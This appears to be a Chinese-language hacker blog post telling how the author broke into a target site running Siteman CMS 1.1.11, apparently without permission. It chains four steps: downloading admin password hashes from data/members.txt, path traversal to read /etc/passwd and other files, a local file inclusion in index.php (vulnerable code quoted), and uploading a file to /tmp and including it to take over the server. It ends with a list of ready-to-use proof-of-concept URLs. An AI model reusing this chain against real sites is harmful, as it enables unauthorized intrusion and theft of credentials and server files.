- A+
昨天在搞目标时 发现有个分站使用了siteman cms 就下了套源码看了下
SITEMAN CMS 是一套国外广泛使用的程序 采用PHP编写 ,TXT做数据库
TXT来做数据库的安全性肯定高不鸟哪里去,可是国外就是很多人使用.
测试环境 :Linux+apache+php+mysql siteman 1.1.11
SITEMAN CMS 远程密码HASH读取:
http://XXX.COM//data/members.txt
密码用MD5加密
解密进入后台
http://xxx.com/admin.php
一般情况下后台能够上传任意文件的
http://xxx.com/admin.php?do=edfiles
这服务器做了目录限制 apache权限无法生成文件 管理方都是通过FTP操作文件的
在无奈之时发现了一个任意文件读取漏洞
http://XXX.com/admin.php?do=edtxt&file=../../../../../../../etc/passwd
鸡肋啊
再次无奈之时 发现代码有好玩的东西
Index.php
第4行左右
if (isset($_GET["page"])) {
if (substr($_GET["page"],0,1) != ".") {
$page = $_GET["page"];
}
else {
$page = "index";
}
}
else {
$page = "index";
}
第40行左右
$content = "pages/" . $page . ".php";
第96行左右
include_once($content);
不解释 你们都懂的
本地包含漏洞
这就好办了 既然网站的目所有录都没权限 TMP目录肯定有权限
利用../上传文件到任意目录
用任意文件读取漏洞看下是否上传成功
已经成功上传 然后就爆菊了
http://XXX.COM/index.php?do=default&page=/../../../../../../../tmp/2
注意 包含时不用.php了
第40行左右
$content = "pages/" . $page . ".php";
总结:
1:Siteman 管理员密码hash读取漏洞
POC:http://XXX.COM/data/members.txt
2:任意文件读取漏洞
POC:http;//XXX.COM/admin.php?do=edtxt&file=../admin.php
3:本地包含漏洞
POC:http://XXX.COM/index.php?do=default&page=XXX
4:上传不到时请别忘记尝试TMP临时目录再利用包含